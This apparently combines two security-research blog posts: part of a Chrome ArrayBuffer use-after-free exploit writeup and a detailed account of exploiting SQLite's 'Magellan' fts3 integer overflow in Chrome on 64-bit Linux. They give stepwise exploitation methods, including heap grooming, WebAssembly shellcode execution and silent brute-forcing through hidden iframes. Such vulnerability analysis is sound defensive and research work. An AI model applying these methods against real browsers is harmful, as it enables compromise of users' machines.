One way to abuse the multiple references to the same ArrayBuffer is by detaching the ArrayBuffer through one and using the other, now dangling, reference. The javascript postMessage() method can be used to send messages to a JS Worker. It also has an additional parameter, transfer, which is an array of Transferable objects, the ownership of which are transfered to the Worker.

The transfer is done by the blink::SerializedScriptValue::TransferArrayBufferContents function, which iterates over the DOMArrayBuffers provided in the transfer parameter to postMessage and invokes the Transfer method of each, as shown below. blink::-DOMArrayBuffer::Transfer calls into WTF::ArrayBuffer::Transfer, which transfers the ownership of the underlying data buffer.

The vulnerability can be triggered by passing multiple blink::DOMArrayBuffers that reference the same underlying ArrayBuffer to postMessage. Transferring the first will take ownership of its buffer, then the transfer of the second will fail because its underlying ArrayBuffer has already been neutered. This causes blink::SerializedScriptValue::TransferArrayBufferContents to enter an error path, freeing the already transferred ArrayBuffer but leaving a dangling reference to it in the second blink::DOMArrayBuffer, which can then be used to access the freed memory through JavaScript.

Exploitation

The vulnerability can be turned into an arbitrary read/write primitive by reclaiming the memory region pointed to by the dangling pointer with JavaScript TypedArrays and corrupting their length and backing store pointers. This can then be further utilized to achieve arbitrary code execution in the renderer process.

Memory Management in Chrome

There are several aspects of memory management in Chrome that affect the reliability of the vulnerability. Chrome uses PartitionAlloc to allocate the backing store of ArrayBuffers. This effectively separates ArrayBuffer backing stores from other kinds of allocations, making the vulnerability unexploitable if the region that is freed is below 2MiB in size because PartitionAlloc will never reuse those allocations for other kinds of data. If the backing store size is above 2MiB, it is placed in a directly mapped region. Once freed, other kinds of allocations can reuse such a region. However, successfully reclaiming the freed region is only possible on 32-bit platforms, as PartitionAlloc adds additional randomness to its allocations via VirtualAlloc and mmap address hinting on 64-bit platforms beside their ASLR slides.

On a 32-bit Windows 7 install, the address space of a fresh Chrome process is similar to the one shown below. Note that these addresses are not static and will differ by the ASLR slide of Windows. Bottom-up allocations start from the lower end of the address space, the last one is the reserved region starting at 36681000. Windows heaps, PartitionAlloc regions, garbage collected heaps of v8 and Chrome, thread stacks are all placed among these regions in a bottom-up fashion. The backing store of the vulnerable ArrayBuffer will also reside here. An important thing to note is that Chrome makes a 512MiB reserved allocation (from 4600000 on the listing below) early on. This is done because the address space on x86 Windows systems is tight and gets fragmented quickly, therefore Chrome makes an early reservation to be able to hand it out for large contiguous allocations, like ArrayBuffers, if needed. Once an ArrayBuffer allocation fails, Chrome frees this reserved region and tries again. The logic that handles this could complicate exploitation, so the exploit starts out by attempting a large (1GiB) ArrayBuffer allocation. This will cause Chrome to free the reserved region, then fail to allocate again, since the address space cannot have a gap of the requested size. While most OOM conditions kill the renderer process, ArrayBuffer allocation failures are recoverable from JavaScript via exception handling.

Another important factor is the non-deterministic nature of the multiple garbage collectors that are involved in the managed heaps of Chrome. This introduces noise in the address space that is hard to control from JavaScript. Since the onprogress events used to trigger the vulnerability are also fired a non-deterministic number of times, and each event causes an allocation, the final location of the vulnerable ArrayBuffer is uncontrollable without the ability to trigger garbage collections on demand from JavaScript. The exploit uses the code shown below to invoke garbage collection. This makes it possible to free the results of onprogress events continuously, which helps in avoiding out-of-memory kills of the renderer process and also forces the dangling pointer created upon triggering the vulnerability to point to the lower end of the address space, somewhere into the beginning of the original 512MiB reserved region.

Exploitation steps

The exploit achieves code execution by the following steps:

• Allocate a large (128MiB) string that will be used as the source of the Blob passed to FileReader. This allocation will end up in the free region following the bottom-up allocations (from 36690000 in the address space listing above).
• Free the 512MiB reserved region via an oversized ArrayBuffer allocation, as discussed previously.
• Invoke FileReader.readAsArrayBuffer. A number of onprogress event will be triggered, the last couple of which can return references to the same underlying ArrayBuffer if the timing of the events is right. This step can be repeated indefinitely until successful without crashing the process.
• Free the backing store of the ArrayBuffer through one of the references. Going forward, another reference can be used to access the dangling pointer.
• Reclaim the freed region by spraying the heap with recognizable JavaScript objects, interspersed with TypedArrays.
• Look for the recognizable pattern through the dangling reference. This enables leaking the address of arbitrary objects by setting them as properties on the found object, then reading back the property value through the dangling pointer.
• Corrupt the backing store of a sprayed TypedArray and use it to achieve arbitrary read write access to the address space.
• Load a WebAssembly module. This maps a read-write-executable memory region of 64KiB into the address space.
• Traverse the JSFunction object hierarchy of an exported function from the WebAssembly module using the arbitrary read/write primitive to find the address of the read-write-executable region.
• Replace the code of the WebAssembly function with shellcode and execute it by invoking the function.

Increasing reliability

A single run of the exploit (which uses the steps detailed above) yields a success rate of about 25%, but using a trick you can turn that into effectively 100% reliability. Abusing the site isolation feature of Chrome enables brute-forcing, as described in another post on this blog by Ki Chan Ahn (look for the section titled “Making a Stealth Exploit by abusing Chrome’s Site Isolation”). A site corresponds to a (scheme:host) tuple, therefore hosting the brute forcing wrapper script on one site which loads the exploit repeatedly in an iframe from another host will cause new processes to be created for each exploit attempt. These iframes can be hidden from the user, resulting in a silent compromise. Using multiple sites to host the exploit code, the process can be parallelized (subject to memory and site-isolation process limits). The exploit developed uses a conservative timeout of 10 seconds for one iteration without parallelization and achieves code execution on average under half a minute.

The entire exploit code can be found on our github and it can be seen in action below.

Detection

The exploit doesn’t rely on any uncommon features or cause unusual behavior in the renderer process, which makes distinguishing between malicious and benign code difficult without false positive results.

Mitigation

Disabling JavaScript execution via the Settings / Advanced settings / Privacy and security / Content settings menu provides effective mitigation against the vulnerability.

Conclusion

It’s interesting to see exploits in the wild still targeting older platforms like Windows 7 x86. The 32-bit address space is so crowded that additional randomization is disabled in PartitionAlloc and win32k lockdown is only available starting Windows 8. Therefore, the lack of mitigations on Windows 7 that are present in later versions of Windows make it a relatively soft target for exploitation.

Subscribers of our N-Day feed can leverage our in-depth analysis of critical vulnerabilities to defend themselves better, or use the provided exploits during internal penetration tests.

Author: Ki Chan Ahn

In December 2018, the Tencent Blade Team released an advisory for a bug they named “Magellan”, which affected all applications using sqlite versions prior to 2.5.3. In their public disclosure they state that they successfully exploited Google Home using this vulnerability. Despite several weeks having passed after the initial advisory, no public exploit was released. We were curious about how exploitable the bug was and whether it could be exploited on 64-bit desktop platforms. Therefore, we set out to create an exploit targeting Chrome on 64-bit Ubuntu.

Background

The Magellan bug is a bug in the sqlite database library. The bug lies in the fts3(Full Text Search) extension of sqlite, which was added in 2007. Chrome started to support the WebSQL standard (which is now deprecated) in 2010, so all versions between 2010 and the patched version should be vulnerable. The bug triggers when running a specific sequence of SQL queries, so only applications that can execute arbitrary SQL queries are vulnerable.

A short glance at the Vulnerability

In order to exploit a bug, the vulnerability has to be studied in detail. The bug was patched in commit 940f2adc8541a838. By looking at the commit, there were actually 3 bugs. We will look at the patch in the “fts3SegReaderNext” function, which was the bug that was actually used during exploitation. The other two bugs are very similar in nature, with the other bugs being slightly more complicated to trigger.
The gist of the patch is summarized below, with the bottom snippet being the patched version.

The patched version explicitly casts nPrefix and nSuffix to i64, because both nPrefix and nSuffix is declared as int, and the check on the highlighted line can be bypassed if the addition of the two values overflow. By explicitly casting, the check will be correctly assessed, and the allocation size on the following line will also be correctly calculated. This new allocation will be placed in pReader->zTerm, and will further be used in line 38 for a memcpy operation.
Now going back to the version before the patch, there is no explicit casting as seen on line 21, and therefore, if the addition of the two values are larger than 2^31, the result will be negative and the inner code block will not be executed. What this means is that the code does not allocate a new block that is big enough for the memcpy operation below. This has several implications. But to fully understand what the bug gives to us, it is necessary to understand some core concepts of sqlite.

SQLite Internals

SQLite is a C-language library that implements a small, fast, self-contained SQL database engine, that claims to be the most used database engine in the world. SQLite implements most of the core sql features, as well as some features unique in SQLite. This blog post will not go in every detail of the database engine, but more like brush on the concepts that are relevant to the exploit.

SQLite Architecture

This is a summary of the Architecture of SQLite page on the official sqlite homepage. The SQLite is a small virtual machine that emits bytecode that later gets executed by the engine, just like an interpreter would do in a javascript engine. As such, it consists of a Tokenizer, Parser, Code Generator, and a Bytecode Engine. All of the SQL queries that are to be executed have to go through this pipeline. What this means in an exploiter’s point of view is that if the bug occurs in the Bytecode Engine phase, then there will be massive heap noise coming from the previous 3 stages, and the exploiter has to deal with them during Heap Feng-shui.

Another notable thing about SQLite is the use of B-Trees. SQLite uses B-Tree data structures to implement efficient, and fast searches on the values in the database. One thing to keep in mind is that the actual data of B-Trees is kept on disk, and not in memory. This is a logical decision because some databases could get very large, and keeping all the data in memory would induce a large memory overhead. However, performing every search of a query on-disk would introduce a huge disk IO overhead, and hence, SQLite uses something called a Page Cache. This Page Cache is responsible of placing recently queried database data pages onto memory, so that it could re-use them if another query searches for data on the same set of pages. The SQLite engine manages which pages should be mapped into memory and mapped out, so disk and memory overhead is well balanced. This gives another meaning to an exploiter’s point of view. Most objects that are created during a single query execution is destroyed after the Bytecode Engine is done with the query, and the only thing that remains in-memory is the data in the Page Cache. This means the actual data values that are living in the database tables are not a good target for Heap Feng-Shui, because most of the objects that represent the table data will be thrown away immediately after query execution. In addition, the actual table data will only lie somewhere in the middle of the Page Cache, which are just slabs of multiple pages that hold parts of the database file saved on the disk.

Full Text Search extensions

A brief introduction

The SQLite homepage describes Full-Text Search as the following.

FTS3 and FTS4 are SQLite virtual table modules that allows users to perform full-text searches on a set of documents. The most common (and effective) way to describe full-text searches is “what Google, Yahoo, and Bing do with documents placed on the World Wide Web”. Users input a term, or series of terms, perhaps connected by a binary operator or grouped together into a phrase, and the full-text query system finds the set of documents that best matches those terms considering the operators and groupings the user has specified.

Basically, the Full-Text Search (FTS) is an extension on SQLite, that enables it to query for search terms Google-style in an efficient way. The architecture and internals of the Full-Text Search engine is thoroughly described on the respective webpage. SQLite continuously upgraded their FTS engine, from fts1 to fts5. The vulnerability occurs on the 3rd version of the extension, fts3. This specific version is also the only version that is allowed to be used in Chrome. All requests to use the other 4 versions is rejected by Chrome. Therefore, it is important to understand some main concepts behind fts3.

Here is small example of how to issue an fts3 query.

This will create an fts table that uses the Full-Text Search version 3 extension, and insert the content into their respective tables. In the above query, only one table mail is created, but under the hood there are 5 more tables created. Some of these tables will be discussed in detail in the following sections. During the INSERT statement, the VALUEs will be split into tokens and all tokens will have an index associated with it and inserted into their respective tables. During the SELECT statement, the search keyword(in the above example ‘sample’) will be looked up in the indexed token tables and if the keyword is matched, then the corresponding rows in the mail table will be returned. This was a brief summary of how the full text search works under the hood. Now it is time to dig in a little deeper into the elements that are related to the exploit.

Shadow Tables

In SQLite, there is something called Shadow Tables, which are basically just regular tables that exist to support the Virtual Table operations. These tables are created under the hood when issuing the CREATE VIRTUAL TABLE statement, and they store either the user INSERT’d data, or supplementary data that’s automatically inserted by the Virtual Table implementation. Since they are basically just regular tables, the content is accessible and modifiable just like any other table. An example of how the shadow tables are created is shown below.

For instance, when a user issues an INSERT/UPDATE/DELETE statement on an fts3 table, the virtual table implementation modifies the rows in the underlying shadow tables, and not the original table mail that was created during the CREATE VIRTUAL TABLE statement. The reason why this is so is because when the user issues an INSERT statement, the entire content of the value has to be split into tokens, and all those tokens and indexes need to be stored individually, not by the query issued by the user but by the c code implementation of fts3. These tokens and indexes won’t be stored as is, but stored in a custom format defined by fts3 in order to pack all the values as compact as possible. In the fts3 case, the token (or term) and the index will be stored inside the tablename_segments and tablename_segdir shadow table with tablename being replaced with the actual table name that the user specified during the CREATE VIRTUAL TABLE statement. The entire sentence before it was split (sample subject, sample content in the above query) is going to be stored in the tablename_content shadow table. The remaining two shadow tables are tablename_stat and tablename_docsize which are support tables related to statistics, and the total count of index and terms. These two tables are only created when using the fts4 extension. The most important table in this article is the tablename_segdir table, which will be used to trigger the vulnerability later on.

Variable Length Format

In the fts3 virtual table module, the shadow tables store data as SQLite supported data types, or otherwise they are all joined into one giant chunk of data and stored in a compact form as a BLOB. One such example is the table below.

Some values are stored as INTEGER values, but the root column is stored as a BLOB. As mentioned before, the values are stored in a compact format in order to save space. STRING values are stored as-is, with a length value preceding it. But then, how is the length value stored? SQLite uses a format which they term as fts Variable Length Format. How the algorithm works is as follows.

1. Represent the integer value into bits.
2. Split the integer value every 7 bits.
3. Take the current lowest 7 bits. If it is not the last(most significant) 7 bits, then add 1 to the most significant bit to form a full 8 bit value.
4. Repeat step 3 for all of the following 7bit values.
5. If it’s the last(most significant) 7bits, then add a 0 to the most significant bit to form a full 8 bit value.
6. Append all of the bytes that were created on step 3 and step 5 to create one long byte string, and that is the resulting Variable Length Integer.

Why SQLite uses this format is because it wants to use the exact amount of bytes needed to store the integer. It doesn’t want to pad additional 0’s that take up extra space, if the integer were to be saved in a fixed width format such as the standard c types. This format is something to keep in mind when constructing the payload in a later phase of exploitation.

Segment B-Tree Format

The Segment B-Tree is a B-Tree that is tailored to serve for the fts extension’s needs. Since it is a complex format, only the elements related to the vulnerability will be discussed.

These are the fields in the tablename_segdir table. It stores most of the token and index data, and the most important field is the root member. We will focus on this member in detail.
The B-Tree consists of tree nodes and node data. A node can be an interior node, or a leaf. For simplicity’s sake, we will assume that the B-Tree has only a single node, and that node is the root node as well as a leaf node. The format of a leaf node is as follows.

Here is a quote borrowed from the SQLite webpage.

The first term stored on each node (“Term 1” in the figure above) is stored verbatim. Each subsequent term is prefix-compressed with respect to its predecessor. Terms are stored within a page in sorted (memcmp) order.

To give an example, in accordance to the above picture, let’s say Term 1 is apple. The Length of Term 1 is 5, and the content of Term 1 is apple. Doclist 1 follows the format of a Doclist which is described here. They are essentially just an array of VarInt values, but they are not important for the discussion of the exploit and hence, will be skipped. Let’s say Term 2 is april. the Prefix Length of Term 2 will be 2. The Suffix Length of Term 2 will be, let’s say, 3. The Suffix Content of Term 2 is ril. As a last example, Term3’s Prefix Length, Suffix Length, and Suffix Content will be 5, 3, and pie respectively. This describes the term applepie. This might seem a little messy in text, so the following is an illustration of the entire BLOB that was just described.

This is what gets saved into root column of tablename_segdir when the user INSERTs “apple april applepie” into the fts table. As more content is inserted, the tree will grow interior nodes and more leaves, and the BLOB data of the entire tree will be stored in the tablename_segdir and tablename_segment shadow tables. This may not be entirely accurate, but this is basically what the indexing engine does, and how the engine stores all the search keywords and looks them up in a fast and efficient way. It should be noted that all the Length values within this leaf node is stored in a fts VarInt(Variable Length integer) format described above.

Revisiting the Bug

Now that the foundation has been laid out it is time to revisit the bug to get a better understanding of it, and what (initial) primitives the bug provides us. But before we dig into the bug itself, let’s discuss something about shadow tables, and how SQLite treated them before they were hardened in version 3.26.0.
As mentioned above, shadow tables are (were) essentially just normal tables with no access control mechanism on those special tables. As such, anyone that can execute arbitrary SQLite statements can read, modify shadow tables without any restrictions. This can become an issue when the virtual table implementation c code reads content from the shadow tables, and parses it. This is exactly what the bug relies on. The bug requires a value in one of the shadow tables to be set to a specific value, in order to trigger the bug.
After the Magellan bug was reported to SQLite, the developers of SQLite deemed that the ability to modify shadow tables was too powerful, and as a response decided to add a mitigation to it. This is the SQLITE_DBCONFIG_DEFENSIVE flag added in version 3.26.0. The actual bugs were fixed in 3.25.3, but the advisory recommends to upgrade to 3.26.0 in case any other bug is lurking in the code, so that exploitation of the potential bug can be blocked with the flag. Turning on this flag will make the shadow tables read-only to user executed SQL queries, and makes it impossible for malicious SQL queries to modify data within the shadow tables (This is not entirely true because there are lots of places where sql queries are dynamically created by the engine code itself, such as this function. SQL queries executed by the SQLite engine itself are immune to the SQLITE_DBCONFIG_DEFENSIVE flag, so some of these dynamic queries which are constructed based on values supplied by the attacker’s SQL query are potential bypass targets. These attacker controlled values can include spaces and special characters without any issues when the entire value is surrounded by quotes, so it makes it as a possible SQL injection attack vector. Still, the SQLITE_DBCONFIG_DEFENSIVE flag serves as a good front line defense).

Now, back to the bug.

To understand the code, the meaning of some variables should be explained. The fts3SegReaderNext function reads data from the fts3 B-Tree nodes, and traverses through each Term stored in a single node, and builds a full term based on the Term 1 string, and the Prefix and Suffix data for the rest of the Terms. pReader will hold the information of the current Term being built. The pNext variable points to the BLOB data of the tablename_segdir->root column. We will assume that the BLOB contains data that represents a leaf node, and contains exactly 2 Terms. pNext will continuously advance forward as data is read in by the program code. The function ftsGetVarint32 reads in an fts VarInt from the data pNext points to, and stores it into a 32-bit variable. pReader->zTerm will contain malloc’d space that is big enough to hold the term that was built on each iteration.

Now let’s assume that the tablename_segdir->root contains BLOB data such as follows.

The range of Term 1 was expanded to include the leftmost byte, which is a fixed value of 0 but internally represents the Prefix Length of Term 1. In this layout, fts3SegReaderNext would be called 2 times. In the first call, it would allocate a 0x10 sized space for the string apple on line 23 of the previous code listing, and actually copy in the value on line 34. On the second call, it would add the length of the prefix and suffix, and check if it exceeds 5*2 on line 21. Since it doesn’t, it reuses the space created on the first call, and builds a complete term by copying in the prefix and the suffix on line 34. This is done for all terms stored within the current node, but in the above case, it is only called twice. Now consider the following case.

Everything is the same with Term 1. A 0x10 space is allocated and apple is stored. However, on the second iteration, nPrefix is read from the blob as 0x7FFFFFFF, and nSuffix as 1. On line 21, nPrefix + nSuffix is 0x80000000 which is negative, thus bypassing the check which is operated on signed integers, and no allocation is performed. On line 34, The memcpy will operate with the source being &pReader->zTerm[0x7FFFFFFF]. As a note, the reason why the example value of nPrefix is set to 0x7FFFFFFF instead of 0xFFFFFFFF is because the function that actually reads the value, which is fts3GetVarint32, only reads up to a maximum value of 0x7FFFFFFF and any value above that is truncated.

Let’s first assess the meaning of this on a 32-bit platform. pReader->zTerm points to the beginning of apple, so &pReader->zTerm[0x7FFFFFFF] will point to 2 gigabytes after apple, and memcpy will copy 1 byte of the suffix “a” to that location. This is effectively an OOB write to data that is placed 2GB’s after Term 1‘s string. On a 32-bit platform, there is a possibility where &pReader->zTerm[0x7FFFFFFF] actually wraps around the address space and points to an address before apple. This could be used to our advantage, if it is possible to place interesting objects at the wrapped around address.
Now let’s see what elements of the OOB write is controllable. Since the attacker can freely modify the shadow table data, the entire content of the BLOB is controllable. This means that the string of Term 1 is controllable, and in turn, the allocation size of pReader->zTerm is controllable. The offset 0x7FFFFFFF of &pReader->zTerm[0x7FFFFFFF] is also controllable, provided that it is lower than 0x7FFFFFFF. Next, since the Suffix Length of Term 2 is attacker controlled, the memcpy size is also controlled. Finally, the actual data that is copied from the source of the memcpy comes from pNext, which points to Term 2‘s string data, so that is controlled too. This gives a restrictive, but powerful primitive of an OOB write, where the destination chunk size, memcpy source data content, and size is completely attacker controlled. The only requirement is that the target to be corrupted has to be placed 2GB’s after the destination chunk which is apple in the example.

The situation in a 64-bit environment is not very different from 32-bit. Everything is the same, except that &pReader->zTerm[0x7FFFFFFF] has no chance to wrap around the address space because the 64-bit address space is too big for that to happen. Also, in 32-bit, spraying the heap to cover the entire address space is a useful tool that can be used to aid exploitation, but it is not suitable to do so in 64-bit.

Now let’s talk about the restriction of the bug. Because the added values of nPrefix+nSuffix has to be bigger than 0x80000000 in order to pass the check on line 21, only certain nPrefix and nSuffix value pairs can be used to trigger the bug. For instance, a [0x7FFFFFFF, 1] pair is okay. [0x7FFFFFFE, 2], [0x7FFFFFFD, 3], [1, 0x7FFFFFFF], [2, 0x7FFFFFFE] is also okay. But [0x7FFFFFF0, 1] is not okay and will not pass the check and fall into the if block. If it falls into the if block, then a very large allocation will happen and the function will most likely return with SQLITE_NOMEM. Therefore, based on the values that are accepted by the bug, we can OOB write data in the following ranges.

Basically, the overwritten data must include the byte that is exactly 0x7FFFFFFF bytes away from the memcpy destination, and it could overwrite data either backwards or forward, with attacker controlled data of any size. This is the positional restriction of the bug. The OOB write cannot start at an arbitrary offset. After assessing the primitives given by the bug, we came to the conclusion that the bug could very well be exploitable on 64-bit platforms, provided that there is a good target for corruption, where the target object has certain tolerance for marginal errors. The next sections will describe the entire process of exploitation, including which targets were picked for corruption, and how they were abused for information leak and code execution.

Exploitation

Before diving in, it should be noted that the exploit was not designed to be 100% reliable. There are some sources of failure and some of them were addressed, but the ones that were too time consuming to fix were just left as is. The exploit was built as means to show that the bug is exploitable on Desktop platforms, and as such, the focus was placed on pushing through to achieve code execution, not maximizing reliability and speed. Nevertheless, we will discuss potential pitfalls and sources of failure on each stage of exploitation, and suggest possible solutions to address them.

The exploit is divided into 11 stages. The reason for dividing is because all SQL queries can not be stuffed into one huge transaction, because certain queries had to be split in order to achieve reliable corruption. Furthermore, a lot of SQL queries were dependent on previous queries, such as the infoleak phase, so the previous query results had to be parsed from javascript and passed on to the next batch of SQL queries. Each of the 11 stages will be described in detail, from the meaning of the cryptic queries, to the actual goal that the stage is trying to achieve.

The TCMalloc allocator

Before even attempting to build an exploit, it is essential to understand the allocator in play. The application that links the sqlite library would most likely use the system allocator that lies underneath, but in the situation of Chrome, things are a little different. According to the heap design documents of Chrome, Chrome hooks all calls to malloc and related calls, and redirects them to other custom allocators. This is different for every operating system, so it is important to understand which allocator Chrome chooses to use instead of the system allocators. In the case of Linux, Chrome redirects every malloc operation to TCMalloc. TCMalloc is an allocator developed and maintained by Google, with certain security properties kept in mind during development, as well as being a fast and efficient allocator.

The TCMalloc works very similar to allocators such as jemalloc, or the LFH, which splits a couple pages into equal sized chunks, and groups each different-sized chunks into seperate freelists. The way they are linked are kind of like PTMalloc’s fastbins, in that they are linked in a singly-linked list. The way they split a page into equal sized chunks kind of resembles that of jemalloc. However, unlike the LFH, there is no randomness element added in to the freelists, which makes the job easier. There are 2 (more specifically, 3) size categories of TCMalloc. In Chrome, chunks that have sizes lower than 0x8000 are categorized as small chunks, where sizes bigger are large chunks. The small chunks are further divided into 54 size classes (this value is specific to Chrome), and each chunks are grouped/managed by their respective size class. The free chunks are linked by singly-linked list as described above. In TCMalloc, there is something called a per-thread cache, and a central page cache. The threads each have their own freelists to manage their pool of small chunks. If the free-list of a certain chunk size reaches a certain threshold (this threshold is dynamic and changes to adapt to the heap usage), then the per-thread cache can toss a chunk of that chunk size’s freelist to the central cache. Or, if the combined size of all free chunks on all size classes of the thread cache reaches a threshold (4MB on Chrome), then the garbage collector kicks in and collects chunks from all freelists on the thread cache and gives them to the central cache. The central cache is the manager for all thread cachces. It issues new freelists if a thread cache’s freelists is exhausted, or it collects chunks of freelists if a thread cache’s freelist grows too big. The central cache is also the manager for large chunks. All chunk sizes larger than 0x8000 request chunks from the central cache, and the central cache manages the freelist of large chunks either by a singly-linked list, or a red-black tree.

All of this might seem too convoluted on text. Here are some illustrations borrowed from Sean Heelan’s excellent slides from 2011 InfiltrateCon.

Also, the following links are very helpful to get a general overview of how the TCMalloc allocator works.

Attacking the WebKit Heap
TCMalloc : Thread-Caching Malloc
How tcmalloc Works

And of course, the best reference is the source code itself.

Stage 1 and Stage 2

Now that the basics of the allocator have been touched, it’s time to find the right object to corrupt. One of the first targets that comes to mind is the Javascript objects on the v8 heap. This was the first target that we went for, because corrupting the right javascript object would instantly yield relative R/W, which can further be upgraded to an AAR/AAW. However, due to the way PartitionMalloc requests pages from the underlying system allocator, it was impossible to have the v8 heap placed behind TCMalloc’s heap. Even if it happened, chances were near zero.

Therefore, we decided to go for objects that are bound to be on the same heap. That is, objects that are allocated by SQLite itself. As mentioned in the SQLite Architecture section, the actual data value of the tables are not good targets to manipulate the heap. The B-Tree that represents the data also live on the Page Cache or the database file on disk. Even if parts of the B-Tree is briefly constructed in-memory upon a SELECT statement, it’s going to be immediately purged as soon as the Bytecode engine is done executing the SELECT statement. There would seem a very limited choice for objects that could influence the heap in a controlled fashion, if the table data values can not be used. However, there is one more object that could make a good candidate.

That is, Table and Column objects. It just so happens that SQLite decided to keep all Table and Column objects that were created by a CREATE statement in memory, and those objects persists until the database is closed completely. The decision behind this would be based on the assumption that Table and Column objects would not be too over-bloated, or at least the developers thought that such case would be rare enough, that the performance advantage of keeping those objects in memory would outweigh the memory costs of those objects. This is true to some degree. However, in practice, it is theoretically possible to construct Column Objects that could eat a colossal amount of memory while persisting in memory. This can be observed in the Limits In SQLite webpage.

The maximum number of bytes in the text of an SQL statement is limited to SQLITE_MAX_SQL_LENGTH which defaults to 1000000. You can redefine this limit to be as large as the smaller of SQLITE_MAX_LENGTH and 1073741824.

One thing to notice is that SQLite does not have an explicit limit on the length of a column name, or a table name. Both of them are just governed by the length of the SQL statement that contains those names, which is SQLITE_MAX_LENGTH. So as long as the length of the user query is lower than SQLITE_MAX_LENGTH, SQLite would happily accept column names of any size. Although SQLite itself defaults SQLITE_MAX_SQL_LENGTH to 1000000, Chrome redefines this value as 1000000000.

1000000000 is a very big value. It is almost 1GB. What this means is that theoretically, it is possible to create column names that are approximately 1GB, and make them persist in memory. Before discussing what we’re going to do with the Column values, let’s look at the structures of the objects involved on column name creation, and the code that handles them.

When a table is created by the CREATE statement, the tokenizer would tokenize the entire SQL query, and pass the tokens to the parser. Under the hood, SQLite uses the Lemon Parser Generator. Lemon is similar to the more popular YACC or BISON parsers, but has a different grammar and is maintained by SQLite. The Lemon parser generator will parse context-free code that is written in Lemon grammar syntax, and generates an LALR parser in C code. In SQLite, the bulk of the generated C code can be found in the yy_reduce function. The actual context-free code that Lemon parses is found in parse.y, and the code that is used for CREATE statements is found here. A snippet of the code is shown below.

The bulk of the Table creation logic is performed in the sqlite3StartTable function, and the Column handling logic is found in sqlite3AddColumn. Let’s visit the sqlite3StartTable function and take a brief look.

The most important object for our purposes is the Table object. This structure contains every information of the table created by the CREATE statement, and the definition is as follows.

For our purposes, the most important fields is aCol and nCol. Next, we will look at the sqlite3AddColumn function.

The important parts of the logic are highlighted. Several things can be observed from this function. First, as mentioned above, there is no limit on the length of the column name. However, there is a limit of how many columns can exist on a single table, and that value is defined by db->aLimit[SQLITE_LIMIT_COLUMN]. The value comes from a #define value in the SQLite source code, and is set to 2000.

This is something to keep in mind for later.
Also, column names can not be duplicate. Next, the column properties are stored in an array of Column objects, which tableObject->aCol points to. This array grows by every 8 new columns, which can be seen in line 26. This function also sets various flags of the Column object. The definition of the Column structure is as follows.

The actual column name will be held in zName, and there are various other fields that describe the characteristics of a column.

One last thing that should be mentioned is that these functions are called in the parser phase of the SQLite execution pipeline. This means that the only heap noise present is the noise from the tokenizer phase. However, the tokenizer creates almost zero heap noise and therefore, the objects created on the heap as well as the heap activity that occurs during a CREATE TABLE statements is quite manageable.

The following is how an actual Table object and the accompanying Column array would look in memory.

The important thing to notice about these table objects is that they are used for every operation on the table, be it a SELECT, UPDATE, or INSERT statement. Every field in a user query that references things in a certain table, will be checked against this table object that resides in memory. What this means in an exploitation view is that, if it is possible to corrupt certain fields in these objects, we can make SQLite react in peculiar ways when certain SQL queries are issued. Take the column name above as an example. If we could corrupt the name t1 and change it to t1337, and afterwards if the attacker executes the SQL statement “SELECT t1 from test”, the SQLite engine will respond as “No such column as t1 exists”. This is because when the select statement is executed, the SQLite engine will consult the above table and look at the aCol field, and sequentially test if there exists a column which matches the name t1. If it doesn’t find such column, then it returns an error.

Knowing this, and the other elements discussed above, a plan of attack emerges.

1. Spray a whole bunch of Column arrays, as many to fill more than 2GB’s of memory.
2. Place the vulnerable apple fts3 allocation in front of the spray.
3. Trigger the vulnerability, and corrupt one of the column object’s zName field.
4. Corrupt the field so that it points to an address that we want to leak.
5. Afterwards, try to leak the value through SQL statements.

There are several caveats with this approach. The problems are not immediately clear until actually constructing the payload and viewing the results, so we will address them as they appear, one by one.

The first problem is that, the maximum number of columns in SQLite is 2000. A single column object’s size is 0x20. This means that the maximum size of a Column array is 0xFA00. In order to spray 2GB worth of memory, 0x8000 Tables with 2000 columns have to be sprayed. 0x8000 doesn’t seem like a big number for SQLite to handle, but when actually spraying that amount of column arrays, the time elapsed from beginning to completion is 10 minutes. This is a lot of time. It was desired to reduce that time to something more manageable.

To address this problem, we used a divide-and-conquer approach. How it works is as follows.

1. Create a table with a 256MB length column name. Create 8 tables of such kind. This will spray 2GB worth of data.
2. Place the vulnerable apple fts3 allocation in front of the spray.
3. Trigger the bug. The OOB write will overwrite exactly 4 bytes of the column name of one of the 8 tables.
4. Query all 8 tables with “SELECT 256MB_really_long_column_name from tableN”. Exactly 1 table will return an error that no such column exists.

A picture is worth a thousand words. The entire process is illustrated below.

When testing this the first time on Chrome, we realized that it actually works. So we decided to build all kinds of different primitives based on this concept.

Another problem became immediately clear when executing this first experiment several times. That is, the random location of apple. After the first successful corruption, upon the next corruption, the allocation of apple would jump to a completely different place from the previous allocation. This was strongly undesirable. In order to place an object of interest in the OOB write address, that OOB write location needed to stay in a fixed position, instead of jumping all around the place which makes it impossible to build other primitives on. The reason apple kept on moving was because it was allocated based on the 0x10 size-class’s freelist of the thread cache. It is highly likely that heap noise that places a lot of 0x10 chunks on the freelist was the source of uncertainty. In order to understand the actual source of the noise, let’s look at the stack trace of when the bug triggers.

In line 11, it can be observed that the Virtual Table Method fts3FilterMethod is executed from the Virtual Data Base Engine. What this means is that the SELECT statements were tokenized, parsed, bytecode generated, and bytecode executed. It is easy to imagine how much unwanted heap allocations would occur throughout that entire phase of execution.

Generally, there are 2 ways to deal with heap noise.

1. Precisely track every single heap allocation that occurs when the bug triggers, and make the exploit compatible with all the heap noise.
2. Upgrade the heap objects that are used during exploitation to a size-class that is not busy, where almost no heap noise occurs in that size-class.

Method 1 is definitely possible, and have been successful in some of the past engagements. However, whenever method 2 is applicable, it is the desirable method and the one that is always chosen to overcome the situation. To address the heap noise, we went with method 2, because the size of the apple allocation is completely attacker controlled.

Now it is time to refine the strategy.

1. The size of apple should be upgraded to something bigger than 0x800. Let’s say, 0xa00.
2. 0xa00 sized chunks will be sprayed. One of the 0xa00 chunks will be a placeholder to be used with the apple fts3 allocation.
3. Create a table with a 256MB length column name. Create 8 tables of such kind. This will spray 2GB worth of data.
4. Create a hole in the placeholder in step2. This will place it on the top of the 0xa00 freelist.
5. Allocate the 0xa00 sized apple fts3 allocation in the placeholder. Trigger the bug. The OOB write will overwrite exactly 4 bytes of the column name of one of the 8 tables.
6. Plug in the placeholder hole with a new 0xa00 allocation, so it could be reused for corruption in a later phase.
7. Query all 8 tables with “SELECT 256MB_really_long_column_name from tableN”. Exactly 1 table will return an error that no such column exists.

The entire process is illustrated below.

